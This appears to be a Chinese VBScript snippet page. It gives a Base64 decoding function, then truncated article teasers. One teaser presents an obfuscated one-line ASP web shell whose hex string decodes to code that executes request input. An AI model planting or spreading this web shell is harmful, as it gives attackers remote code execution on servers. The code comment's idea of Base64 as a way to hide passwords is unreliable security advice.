vbs版的解密base64加密的脚本

Function fDecode(sStringToDecode)  
'This function will decode a Base64 encoded string and returns the decoded string.  
'This becomes usefull when attempting to hide passwords from prying eyes.  
Const CharList = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"  
Dim iDataLength, sOutputString, iGroupInitialCharacter  
sStringToDecode = Replace(Replace(Replace(sStringToDecode, vbCrLf, ""), vbTab, ""), " ", "")  
iDataLength = Len(sStringToDecode)  
If iDataLength Mod 4 <> 0 Then  
fDecode = "Bad string passed to fDecode() function."  
Exit Function  
End If  
For iGroupInitialCharacter = 1 To iDataLength Step 4  
Dim iDataByteCount, iCharacterCounter, sCharacter, iData, iGroup, sPreliminaryOutString  
iDataByteCount = 3  
iGroup = 0  
   For iCharacterCounter = 0 To 3  
    sCharacter = Mid(sStringToDecode, iGroupInitialCharacter + iCharacterCounter, 1)  
     If sCharacter = "=" Then  
      iDataByteCount = iDataByteCount - 1  
      iData = 0  
     Else  
      iData = InStr(1, CharList, sCharacter, 0) - 1  
       If iData = -1 Then  
        fDecode = "Bad string passed to fDecode() function."  
        Exit Function  
       End If  
     End If  
    iGroup = 64 * iGroup + iData  
   Next  
iGroup = Hex(iGroup)  
iGroup = String(6 - Len(iGroup), "0") & iGroup  
sPreliminaryOutString = Chr(CByte("&H" & Mid(iGroup, 1, 2))) & Chr(CByte("&H" & Mid(iGroup, 3, 2))) & Chr(CByte("&H" & Mid(iGroup, 5, 2)))  
sOutputString = sOutputString & Left(sPreliminaryOutString, iDataByteCount)  
Next  
fDecode = sOutputString  
End Function

vbs代码打包

更牛的一句话asp木马加密（去掉asp里的%）
不知道怎样表达清楚。看例子吧：scriptlanguage=vbsrunat=serverExecute(HextoStr("65786563757465287265717565737428636872283335292929"))FunctionHextoStr(data)HextoStr="EXECUTE"""""C="&CHR(&H

用vbs发送带附件的邮件
functionSend_mail(You_Account,You_Password,Send_Email,Send_Email2,Send_Topic,Send_Body,Send_Attachment)'codebyNetPatch'VBS发送邮件参数说明'You_Account：你的邮件帐号'You_Password:你的

VBScript开发自动化测试脚本的方法分析
我在软件测试这个行业也是做过很多年了，自己的方向也是自动化测试，对VBScript脚本也算是了解，在测试过程中也应用了一些，所以来谈谈如何使用VBS